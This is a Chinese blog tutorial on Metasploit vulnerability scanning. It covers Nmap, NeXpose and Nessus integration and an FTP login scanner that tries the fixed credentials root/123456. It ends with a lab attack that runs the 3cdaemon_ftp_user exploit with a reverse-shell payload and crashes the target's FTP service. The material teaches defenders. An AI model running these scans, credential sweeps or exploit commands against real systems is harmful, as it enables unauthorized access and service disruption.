美文网首页kali系统交流
Metasploit与漏洞扫描

Metasploit与漏洞扫描

作者: kaitoulee | 来源:发表于2016-05-25 14:15 被阅读3022次

    一 漏洞及漏洞发掘方法

    漏洞,是指在硬件、软件、协议实现或系统安全策略上存在缺陷,攻击者能够在未授权的情况下对系统进行访问或破坏。它会成为入侵者侵入系统和植入恶意软件的入口,影响系统用户的切身利益。漏洞与目标系统的操作系统版本、软件版本以及服务设置密切相关。研究漏洞必须要了解当前计算机系统及其安全问题的最新发展动态。常见的漏洞包括缓冲区溢出漏洞、跨站脚本漏洞(XSS)、SQL注入漏洞、数据库漏洞以及WEB应用漏洞等。

    常见的漏洞发掘方法分为以下几种。

    m  黑盒攻击(Fuzzing):即通过注入数据进行自动化测试。

    m  获取攻击对象的源代码进行审计:网络上有很多源代码审计工具可供使用,如Fortify。

    m  反汇编审计:如果无法获取到源代码,可以基于汇编码进行反汇编审计。IDA是一款常用的反汇编软件。

    m  动态跟踪分析:通过记录程序在不同条件下执行操作(如文件操作),分析这些操作序列是否存在问题。

    m  补丁比较:厂商软件的问题通常都会在补丁中解决,如微软的Windows操作系统会不定期发布补丁程序,通过对比补丁前后文件的源码(或反汇编码)就能了解漏洞的具体细节。

    目前,针对常用的漏洞发掘方法已经开发出了很多漏洞扫描工具。漏洞扫描工具是一种能在计算机、信息系统、网络及应用软件中查找安全弱点的程序。通过对目标系统进行探测,向目标系统发送数据,并将反馈结果与漏洞特征库进行匹配,分析出目标系统上存在的安全漏洞。比较常用的漏洞扫描工具有Metasploit、Nmap、NeXpose、Nessus、Xscan等。

    二 Metasploit Framework工具简介

    Metasploit Framework是一个强大的开源平台,为渗透测试、shellcode 编写和漏洞研究提供了一个可靠环境。它集成了各种常见的溢出漏洞和shellcode ,并且不断更新。当前版本收集了上千个实用的溢出攻击程序及一些辅助工具,操作简单,易用性好。当然,它不只是一个简单的收集工具,还提供了所有的类和方法,以便开发人员使用这些代码方便快速的进行二次开发。漏洞扫描只是Metasploit Framewotk众多功能中的一种,本文只介绍它的漏洞扫描功能。

    Metasploit Framework的总体架构如图1所示,它包含Exploit、Auxiliary、Payload等多个模块:

    m  Exploit是攻击模块,基本上目前所有的操作系统在Metasploit Framework上均有对应的攻击模块;

    m  Auxiliary是辅助模块,用途非常广泛,它可以作为扫描器、拒绝服务攻击工具、Fuzz测试器,以及其他类型的工具;

    m  Payload是在目标系统被攻陷之后执行的代码,如添加用户账号,获取shell交互权限等;

    图1 Metasploit Framework整体架构

    三 Metasploit的几种漏洞扫描组件

    1      Nmap

    Nmap适用于Winodws、Linux、Mac等操作系统。它用于主机发现、端口发现或枚举、服务发现,检测操作系统、硬件地址、软件版本以及脆弱性的漏洞。Metasploit Framework平台集成了Nmap组件。通常在对目标系统发起攻击之前需要进行一些必要的信息收集,如获取网络中的活动主机、主机开放的端口等。

    Nmap扫描存活主机及主机运行的服务:

    nmap -P0 192.168.20.1-10,扫描结果显示网络中活动的主机有7台,且列举出了每台主机运行的服务及主机MAC地址。

    msf > nmap -P0 192.168.20.1-10

    [*] exec: nmap -P0 192.168.20.1-10

    Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:47 ????????????

    Nmap scan report for 192.168.20.1

    Host is up (0.00014s latency).

    Not shown: 995 closed ports

    PORT      STATE    SERVICE

    23/tcp    open     telnet

    80/tcp    open     http

    MAC Address: 00:0F:E2:69:5D:E2 (Hangzhou H3C Technologies Co.)

    ……

    Nmap scan report for 192.168.20.4

    Host is up (0.0098s latency).

    Not shown: 986 closed ports

    PORT      STATE SERVICE

    21/tcp    open  ftp

    80/tcp    open  http

    135/tcp   open  msrpc

    443/tcp   open  https

    445/tcp   open  microsoft-ds

    902/tcp   open  iss-realsecure

    912/tcp   open  apex-mesh

    3389/tcp  open  ms-wbt-server

    MAC Address: 68:05:CA:0E:BF:59 (Intel)

    ……

    Nmap done: 10 IP addresses (7 hosts up) scanned in 17.53 seconds

    msf >

    Nmap扫描操作系统和服务软件版本信息:

    msf > nmap -A -T4 192.168.20.4,Nmap显示的扫描结果相当详细,列出了目标服务器192.168.20.4上运行的操作系统是微软的Windows 7或者Windows 2008,提供FTP服务的软件是3Com 3CDaemon FTP Server,版本号为2.0,并且使用匿名账号anonymous可以登陆成功。

    msf > nmap -A -T4 192.168.20.4

    [*] exec: nmap -A -T4 192.168.20.4

    Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:54 ????????????

    Nmap scan report for 192.168.20.4

    Host is up (0.0074s latency).

    Not shown: 986 closed ports

    PORT      STATE SERVICE         VERSION

    21/tcp    open  ftp             3Com 3CDaemon ftpd 2.0

    | ftp-anon: Anonymous FTP login allowed (FTP code 230)

    |_ftp-bounce: bounce working!

    80/tcp    open  http            HttpFileServer httpd 1.5g

    |_http-title: JAX SERVER- /

    135/tcp   open  msrpc           Microsoft Windows RPC

    443/tcp   open  ssl/http        VMware VirtualCenter Web service

    445/tcp   open  netbios-ssn

    902/tcp   open  ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

    912/tcp   open  vmware-auth     VMware Authentication Daemon 1.0 (Uses VNC, SOAP)

    3389/tcp  open  ms-wbt-server   Microsoft Terminal Service

    MAC Address: 68:05:CA:0E:BF:59 (Intel)

    Device type: general purpose

    Running: Microsoft Windows 7|2008

    TRACEROUTE

    HOP RTT     ADDRESS

    1   7.38 ms 192.168.20.4

    OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

    Nmap done: 1 IP address (1 host up) scanned in 203.48 seconds

    msf >

    2      NeXpose

    NeXpose通过扫描网络,可以查找出网络上正在运行的设备,并识别出设备的操作系统和应用程序的漏洞,并对扫描出的数据进行分析和处理,生成漏洞扫描报告。

    首先,如图2所示,在Metasploit Framework中加载NeXpose插件:

    图2 加载NeX

    pose插件

    使用nexpose_scan命令对目标主机进行漏洞扫描:

    msf > nexpose_scan 192.168.20.4

    [*]Scanning 1 address with template pentest-audit in sets of 32

    [*]Completed the scan of 1 address

    msf >

    查看漏洞扫描结果,扫描程序发现了7个漏洞:

    msf > db_hosts –c address

    Hosts

    =====

    address       Svcs       Vulns        Workspace

    -------       ----       -----        ---------

    192.168.20.4  8          7             default

    msf>

    输入db_vulns可以显示已发现漏洞的详细情况:

    msf > db_vulns

    [*]Time Mon Jun 2013:10:31 UTC 2010 vuln: host=192.168.20.4 port=445proto=tcp name=Nss-26920refs=CVE-1999-0519,CVE-2002-1117,BID-494,OSVDB-299

    ……

    For the sake of brevity,we will just let db_autopwn exploit the low-hanging fruit for us and only run exploit with at least a “good” rating

    msf >

    3      Nessus

    Nessus是当前使用最广泛的漏洞扫描工具之一。Nessus采用client/sever模式,服务器端负责进行安全检查,客户端用来配置管理服务器端。在服务端还采用了plug-in的体系,允许用户加入执行特定功能的插件,这插件可以进行更快速和更复杂的安全检查。

    如图3所示,在Metasploit Framework中加载Nessus插件:

    图3    加载Nessus插件

    创建扫描任务:

    msf > nessus_scan_new 2 test_scan 192.168.20.4

    [*]Creating scan from policy number 2,called “test_scan” and scanning 192.168.20.4

    [*]Scan started.uid is d2f1fc02-3b50-4e4e-ab8f-q12jsiey8209384ndjsieksjfdjieb

    msf>

    查看扫描运行状态,“No Scans Running”表示扫描已完成:

    msf > db_hosts –c address

    [*] No Scans Running

    msf>

    查看扫描结果,扫描程序发现345个漏洞:

    msf > db_hosts –c address,svcs,vulns

    Hosts

    =====

    address       Svcs       Vulns

    -------       ----       -----

    192.168.20.4  18         345

    msf>

    从扫描结果可以看出,对同一个目标主机进行扫描,Nessus扫描出的漏洞数量与NeXpose扫描出的数量有明显的差异。通过对不同工具的扫描结果进行对比分析,对了解扫描工具本身,和更精确地确定目标系统存在的漏洞都是非常有帮助的。

    4      Metasploit的专用FTP扫描器

    除了集成的扫描工具,Metasploit自带的辅助模块,可以针对网络中特定的漏洞进行扫描。下面以FTP扫描为例,介绍Metasploit自带扫描器的使用方法。

    选择ftp_login模块,扫描网段192.168.20.1-10中能使用固定用户名和密码root/123456登陆主机:

    msf > use auxiliary/scanner/ftp/ftp_login

    msf  auxiliary(ftp_login) > set USERNAME root

    USERNAME => root

    msf  auxiliary(ftp_login) > set PASSWORD 123456

    PASSWORD => 123456

    msf  auxiliary(ftp_login) > set RHOSTS 192.168.20.1-10

    RHOSTS => 192.168.20.1-10

    msf  auxiliary(ftp_login) > run

    [*] 192.168.20.1:21 - Starting FTP login sweep

    [*] Connecting to FTP server 192.168.20.1:21...

    ……

    [*] 192.168.20.1:21 FTP - [1/1] - Attempting FTP login for 'root':'123456'

    [+] 192.168.20.1:21 - Successful FTP login for 'root':'123456'

    [*] 192.168.20.1:21 - User 'root' has READ/WRITE access

    ……

    [*] Connecting to FTP server 192.168.20.4:21...

    [*] Connected to target FTP server.

    [+] 192.168.20.4:21 - Successful FTP login for 'root':'123456'

    [*] 192.168.20.4:21 - User 'root' has READ/WRITE access

    ……

    [*] Connecting to FTP server 192.168.20.6:21...

    [*] Connected to target FTP server.

    [+] 192.168.20.6:21 - Successful FTP login for 'root':'123456'

    [*] 192.168.20.6:21 - User 'root' has READ/WRITE access

    ……

    [*] Connecting to FTP server 192.168.20.9:21...

    [*] Connected to target FTP server.

    [+] 192.168.20.9:21 - Successful FTP login for 'root':'123456'

    [*] 192.168.20.9:21 - User 'root' has READ/WRITE access

    [*] Scanned 10 of 10 hosts (100% complete)

    [*] Auxiliary module execution completed

    查看输出结果,10个IP中有4台FTP Server均能使用root/123456账号登陆,并且含有读写权限。通常在公司内网里,很多人习惯使用简单的账号,没有足够的安全意识,当攻击者成功入侵内网后,这些工作站将非常危险。

    四Metasploit的一个攻击实例

    漏洞扫描仅仅是Metasploit Framework强大功能的冰山一角,下面简单说明一下Metasploit执行一次攻击测试的方法。利用上面Nmap的扫描结果,选取192.168.20.4上所运行的3Com 3CDaemon FTP Server为攻击目标。通过前面的扫描可以得到目标主机运行的操作系统及应用程序版本的详细信息,如图4所示,在Metasploit Framework里搜索针对3CDaemon的攻击脚本:

    图4  搜索针对3CDaemon的攻击脚本

    use命令进入搜索到的exploit:

    msf > use exploit/windows/ftp/3cdaemon_ftp_user

    msf  exploit(3cdaemon_ftp_user) >

    Set RHOST命令设置攻击目标机的IP地址:

    msf  exploit(3cdaemon_ftp_user) > set RHOST 192.168.20.4

    RHOST => 192.168.20.4

    Set target命令设置目标机的操作系统类型:

    msf  exploit(3cdaemon_ftp_user) > set target 4

    target => 4

    设置完成之后, show options显示设置好的参数信息:

    msf  exploit(3cdaemon_ftp_user) > show options

    Module options (exploit/windows/ftp/3cdaemon_ftp_user):

    Name     Current Setting      Required  Description

    ----     ---------------      --------  -----------

    FTPPASS  mozilla@example.com  no        The password for the specified username

    FTPUSER  anonymous              no        The username to authenticate as

    RHOST    192.168.20.4          yes        The target address

    RPORT    21                      yes        The target port

    Payload options (windows/shell_reverse_tcp):

    Name      Current Setting  Required  Description

    ----      ---------------  --------  -----------

    EXITFUNC  seh                yes       Exit technique: seh, thread, process, none

    LHOST     192.168.20.67     yes       The listen address

    LPORT     4444                yes       The listen port

    Exploit target:

    Id  Name

    --  ----

    4   Windows XP English SP3

    输入exploit命令,开始攻击:

    msf  exploit(3cdaemon_ftp_user) > exploit

    [*] Started reverse handler on 192.168.20.67:4444

    [*] Trying target Windows XP English SP3...

    msf  exploit(3cdaemon_ftp_user) >

    如图5所示查看目标机3CDaemon FTP软件显示崩溃,攻击成功!

    图5  3CDaemon FTP崩溃

    分析抓包结果,可以看出该FTP攻击脚本是利用超长用户名(如图6所示)导致FTP Server崩溃的。

    图6   抓包结果

    五 结束语

    避免黑客攻击,部署专门的漏洞检测防御系统是非常必要的。Metasploit提供了丰富的扫描功能、攻击脚本及二次开发的平台,使网络安全漏洞检测变得相对容易。H3C的IPS(Intrusion Prevention System)采用系统的防御方法,结合智能的规则识别技术可以对各种漏洞攻击进行有效的防御。为应对技术的更新,H3C攻防团队会主动关注网络上新的攻击方式,并将分析结果及时添加到IPS特征库中供客户升级使用。对于系统维护者来说,积极主动的查找漏洞并打上相应补丁,同时结合专业的防御设备进行入侵防御,毫无疑问是维护系统安全的最佳方法。

    相关文章

      网友评论

        本文标题:Metasploit与漏洞扫描

        本文链接:https://www.haomeiwen.com/subject/pmvsxttx.html